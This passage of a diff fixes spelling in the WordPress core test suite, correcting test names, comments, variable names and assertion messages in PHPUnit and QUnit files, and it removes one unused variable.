a/tests/phpunit/tests/rest-api/rest-themes-controller.php b/tests/phpunit/tests/rest-api/rest-themes-controller.php index 7a5438951c..decf4be322 100644 --- a/tests/phpunit/tests/rest-api/rest-themes-controller.php +++ b/tests/phpunit/tests/rest-api/rest-themes-controller.php @@ -934,7 +934,7 @@ class WP_Test_REST_Themes_Controller extends WP_Test_REST_Controller_Testcase { /** * @ticket 49037 */ - public function test_theme_wp_block_styles_optin() { + public function test_theme_wp_block_styles_opt_in() { remove_theme_support( 'wp-block-styles' ); add_theme_support( 'wp-block-styles' ); $response = self::perform_active_theme_request(); @@ -958,7 +958,7 @@ class WP_Test_REST_Themes_Controller extends WP_Test_REST_Controller_Testcase { /** * @ticket 49037 */ - public function test_theme_align_wide_optin() { + public function test_theme_align_wide_opt_in() { remove_theme_support( 'align-wide' ); add_theme_support( 'align-wide' ); $response = self::perform_active_theme_request(); @@ -982,7 +982,7 @@ class WP_Test_REST_Themes_Controller extends WP_Test_REST_Controller_Testcase { /** * @ticket 49037 */ - public function test_theme_editor_styles_optin() { + public function test_theme_editor_styles_opt_in() { remove_theme_support( 'editor-styles' ); add_theme_support( 'editor-styles' ); $response = self::perform_active_theme_request(); @@ -1006,7 +1006,7 @@ class WP_Test_REST_Themes_Controller extends WP_Test_REST_Controller_Testcase { /** * @ticket 49037 */ - public function test_theme_dark_editor_style_optin() { + public function test_theme_dark_editor_style_opt_in() { remove_theme_support( 'dark-editor-style' ); add_theme_support( 'dark-editor-style' ); $response = self::perform_active_theme_request(); diff --git a/tests/phpunit/tests/script-modules/wpScriptModules.php b/tests/phpunit/tests/script-modules/wpScriptModules.php index d8562b1c5e..21a98ac5ba 100644 --- a/tests/phpunit/tests/script-modules/wpScriptModules.php +++ b/tests/phpunit/tests/script-modules/wpScriptModules.php @@ -415,7 +415,7 @@ class Tests_Script_Modules_WpScriptModules extends WP_UnitTestCase { } /** - * Tests that static dependencies of dynamic depenendencies are not preloaded. + * Tests that static dependencies of dynamic dependencies are not preloaded. * * @ticket 56313 * diff --git a/tests/phpunit/tests/sitemaps/sitemaps.php b/tests/phpunit/tests/sitemaps/sitemaps.php index 349bdd961c..85f9965245 100644 --- a/tests/phpunit/tests/sitemaps/sitemaps.php +++ b/tests/phpunit/tests/sitemaps/sitemaps.php @@ -95,7 +95,7 @@ class Tests_Sitemaps_Sitemaps extends WP_UnitTestCase { /** * Helper function to get all sitemap entries data. * - * @return array A list of sitemap entires. + * @return array A list of sitemap entries. */ public function _get_sitemap_entries() { $entries = array(); diff --git a/tests/phpunit/tests/term/cache.php b/tests/phpunit/tests/term/cache.php index ac418fbcfd..0651551f94 100644 --- a/tests/phpunit/tests/term/cache.php +++ b/tests/phpunit/tests/term/cache.php @@ -55,7 +55,7 @@ class Tests_Term_Cache extends WP_UnitTestCase { /** * @ticket 14485 */ - public function test_hierachy_invalidation() { + public function test_hierarchy_invalidation() { $tax = 'burrito'; register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) ); $this->assertTrue( get_taxonomy( $tax )->hierarchical ); diff --git a/tests/phpunit/tests/theme.php b/tests/phpunit/tests/theme.php index d2539db5cd..9e26ed5c2c 100644 --- a/tests/phpunit/tests/theme.php +++ b/tests/phpunit/tests/theme.php @@ -322,7 +322,7 @@ class Tests_Theme extends WP_UnitTestCase { } // Template file that doesn't exist. - $this->assertSame( '', get_query_template( 'nonexistant' ) ); + $this->assertSame( '', get_query_template( 'nonexistent' ) ); // Template files that do exist. foreach ( $theme['Template Files'] as $path ) { diff --git a/tests/phpunit/tests/theme/wpThemeJson.php b/tests/phpunit/tests/theme/wpThemeJson.php index 15a25825e1..a72ccbc5dd 100644 --- a/tests/phpunit/tests/theme/wpThemeJson.php +++ b/tests/phpunit/tests/theme/wpThemeJson.php @@ -4754,7 +4754,7 @@ class Tests_Theme_wpThemeJson extends WP_UnitTestCase { } /** - * Tests the core separator block outbut based on various provided settings. + * Tests the core separator block output based on various provided settings. * * @ticket 56903 * @ticket 58550 diff --git a/tests/phpunit/tests/user.php b/tests/phpunit/tests/user.php index 9a3f0084b8..804511990f 100644 --- a/tests/phpunit/tests/user.php +++ b/tests/phpunit/tests/user.php @@ -1491,7 +1491,7 @@ class Tests_User extends WP_UnitTestCase { // Assert recipient is correct. $this->assertSame( $new_email, $recipient->address, 'Admin email change notification recipient not as expected' ); - // Assert that HTML entites have been decode in body and subject. + // Assert that HTML entities have been decode in body and subject. $this->assertStringContainsString( '\'Test\' blog\'s "name" has <html entities> &', $email->subject, 'Email subject does not contain the decoded HTML entities' ); $this->assertStringNotContainsString( ''Test' blog's "name" has <html entities> &', $email->subject, $email->subject, 'Email subject does contains HTML entities' ); } @@ -1794,7 +1794,7 @@ class Tests_User extends WP_UnitTestCase { // Assert recipient is correct. $this->assertSame( 'new-email@test.dev', $recipient->address, 'User email change confirmation recipient not as expected' ); - // Assert that HTML entites have been decoded in body and subject. + // Assert that HTML entities have been decoded in body and subject. $this->assertStringContainsString( '\'Test\' blog\'s "name" has <html entities> &', $email->subject, 'Email subject does not contain the decoded HTML entities' ); $this->assertStringNotContainsString( ''Test' blog's "name" has <html entities> &', $email->subject, 'Email subject does contains HTML entities' ); } diff --git a/tests/phpunit/tests/user/capabilities.php b/tests/phpunit/tests/user/capabilities.php index 27bd085aff..05721ce3f1 100644 --- a/tests/phpunit/tests/user/capabilities.php +++ b/tests/phpunit/tests/user/capabilities.php @@ -992,7 +992,7 @@ class Tests_User_Capabilities extends WP_UnitTestCase { } /** - * Change the capabilites associated with a role and make sure the change + * Change the capabilities associated with a role and make sure the change * is reflected in has_cap(). */ public function test_role_add_cap() { @@ -1033,7 +1033,7 @@ class Tests_User_Capabilities extends WP_UnitTestCase { } /** - * Change the capabilites associated with a role and make sure the change + * Change the capabilities associated with a role and make sure the change * is reflected in has_cap(). */ public function test_role_remove_cap() { diff --git a/tests/phpunit/tests/user/mapMetaCap.php b/tests/phpunit/tests/user/mapMetaCap.php index f8929f0d88..b6c6b0ab8a 100644 --- a/tests/phpunit/tests/user/mapMetaCap.php +++ b/tests/phpunit/tests/user/mapMetaCap.php @@ -357,7 +357,7 @@ class Tests_User_MapMetaCap extends WP_UnitTestCase { * * @ticket 27020 */ - public function test_authorless_posts_capabilties() { + public function test_authorless_posts_capabilities() { $post_id = self::factory()->post->create( array( 'post_author' => 0, diff --git a/tests/phpunit/tests/user/wpGetUsersWithNoRole.php b/tests/phpunit/tests/user/wpGetUsersWithNoRole.php index affe25e72f..7616bbd949 100644 --- a/tests/phpunit/tests/user/wpGetUsersWithNoRole.php +++ b/tests/phpunit/tests/user/wpGetUsersWithNoRole.php @@ -111,10 +111,10 @@ class Tests_User_wpGetUsersWithNoRole extends WP_UnitTestCase { */ public function test_get_users_with_no_role_matches_on_role_name() { // Create a role with a display name which would not match the role name - // in a case-insentive SQL query. + // in a case-insensitive SQL query. wp_roles()->add_role( 'somerole', 'Some role display name' ); - $someuser = self::factory()->user->create( + self::factory()->user->create( array( 'role' => 'somerole', ) diff --git a/tests/phpunit/tests/widgets/wpWidgetMediaImage.php b/tests/phpunit/tests/widgets/wpWidgetMediaImage.php index 3f96cf34eb..79dcd921da 100644 --- a/tests/phpunit/tests/widgets/wpWidgetMediaImage.php +++ b/tests/phpunit/tests/widgets/wpWidgetMediaImage.php @@ -478,7 +478,7 @@ class Tests_Widgets_wpWidgetMediaImage extends WP_UnitTestCase { $this->assertStringContainsString( 'width="100"', $output ); $this->assertStringContainsString( 'height="100"', $output ); - // Embeded images. + // Embedded images. ob_start(); $widget->render_media( array( diff --git a/tests/phpunit/tests/xmlrpc/wp/newComment.php b/tests/phpunit/tests/xmlrpc/wp/newComment.php index 7c2eacc6b1..00b0617f53 100644 --- a/tests/phpunit/tests/xmlrpc/wp/newComment.php +++ b/tests/phpunit/tests/xmlrpc/wp/newComment.php @@ -270,7 +270,7 @@ class Tests_XMLRPC_wp_newComment extends WP_XMLRPC_UnitTestCase { * * @param string $post_key Post identifier from the self::$posts array. * @param string $username Username leaving comment. - * @param bool $expected Expected result. True: successfull comment. False: Refused comment. + * @param bool $expected Expected result. True: successful comment. False: Refused comment. * @param string $anon_callback Optional. Allow anonymous comment callback. Default __return_false. */ public function test_comments_observe_post_permissions( $post_key, $username, $expected, $anon_callback = '__return_false' ) { @@ -304,7 +304,7 @@ class Tests_XMLRPC_wp_newComment extends WP_XMLRPC_UnitTestCase { * @return array[] { * @type string Post identifier from the self::$posts array. * @type string Username leaving comment. - * @type bool Expected result. True: successfull comment. False: Refused comment. + * @type bool Expected result. True: successful comment. False: Refused comment. * @type string Optional. Allow anonymous comment callback. Default __return_false. * } */ diff --git a/tests/phpunit/tests/xmlrpc/wp/newPost.php b/tests/phpunit/tests/xmlrpc/wp/newPost.php index 91e256ff5c..b98b06c01d 100644 --- a/tests/phpunit/tests/xmlrpc/wp/newPost.php +++ b/tests/phpunit/tests/xmlrpc/wp/newPost.php @@ -247,7 +247,7 @@ class Tests_XMLRPC_wp_newPost extends WP_XMLRPC_UnitTestCase { $post = array( 'post_title' => 'Test', 'terms' => array( - 'foobar_nonexistant' => array( 1 ), + 'foobar_nonexistent' => array( 1 ), ), ); $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) ); @@ -257,7 +257,7 @@ class Tests_XMLRPC_wp_newPost extends WP_XMLRPC_UnitTestCase { $post2 = array( 'post_title' => 'Test', 'terms_names' => array( - 'foobar_nonexistant' => array( 1 ), + 'foobar_nonexistent' => array( 1 ), ), ); $result2 = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post2 ) ); diff --git a/tests/qunit/wp-admin/js/customize-controls.js b/tests/qunit/wp-admin/js/customize-controls.js index 6c4a8a83af..864d84022b 100644 --- a/tests/qunit/wp-admin/js/customize-controls.js +++ b/tests/qunit/wp-admin/js/customize-controls.js @@ -679,17 +679,17 @@ jQuery( 'body' ).on( 'load', function() { QUnit.module( 'Customize Utils: wp.customize.utils.getRemainingTime()' ); QUnit.test( 'utils.getRemainingTime calculates time correctly', function( assert ) { - var datetime = '2599-08-06 12:12:13', timeRemaining, timeRemainingWithDateInstance, timeRemaingingWithTimestamp; + var datetime = '2599-08-06 12:12:13', timeRemaining, timeRemainingWithDateInstance, timeRemainingWithTimestamp; timeRemaining = wp.customize.utils.getRemainingTime( datetime ); timeRemainingWithDateInstance = wp.customize.utils.getRemainingTime( new Date( datetime.replace( /-/g, '/' ) ) ); - timeRemaingingWithTimestamp = wp.customize.utils.getRemainingTime( ( new Date( datetime.replace( /-/g, '/' ) ) ).getTime() ); + timeRemainingWithTimestamp = wp.customize.utils.getRemainingTime( ( new Date( datetime.replace( /-/g, '/' ) ) ).getTime() ); assert.equal( typeof timeRemaining, 'number', timeRemaining ); assert.equal( typeof timeRemainingWithDateInstance, 'number', timeRemaining ); - assert.equal( typeof timeRemaingingWithTimestamp, 'number', timeRemaining ); + assert.equal( typeof timeRemainingWithTimestamp, 'number', timeRemaining ); assert.deepEqual( timeRemaining, timeRemainingWithDateInstance ); - assert.deepEqual( timeRemaining, timeRemaingingWithTimestamp ); + assert.deepEqual( timeRemaining, timeRemainingWithTimestamp ); }); QUnit.module( 'Customize Utils: wp.customize.utils.getCurrentTimestamp()' ); diff --git a/tests/qunit/wp-admin/js/updates.js b/tests/qunit/wp-admin/js/updates.js index dc718291a5..9d3948811a 100644 --- a/tests/qunit/wp-admin/js/updates.js +++ b/tests/qunit/wp-admin/js/updates.js @@ -15,9 +15,9 @@ jQuery( function( $ ) { var menuItemCount = $( '#menu-plugins' ).find( '.plugin-count' ).eq( 0 ).text(); var screenReaderItemCount = $( '#wp-admin-bar-updates' ).find( '.screen-reader-text' ).text(); var adminItemCount = $( '#wp-admin-bar-updates' ).find( '.ab-label' ).text(); - assert.equal( menuItemCount, 2, 'Intial value is correct' ); - assert.equal( screenReaderItemCount, '2 Plugin Updates', 'Intial value is correct' ); - assert.equal( adminItemCount, 2, 'Intial value is correct' ); + assert.equal( menuItemCount, 2, 'Initial value is correct' ); + assert.equal( screenReaderItemCount, '2 Plugin Updates', 'Initial value is correct' ); + assert.equal( adminItemCount, 2, 'Initial value is correct' ); wp.updates.decrementCount( 'plugin' ); |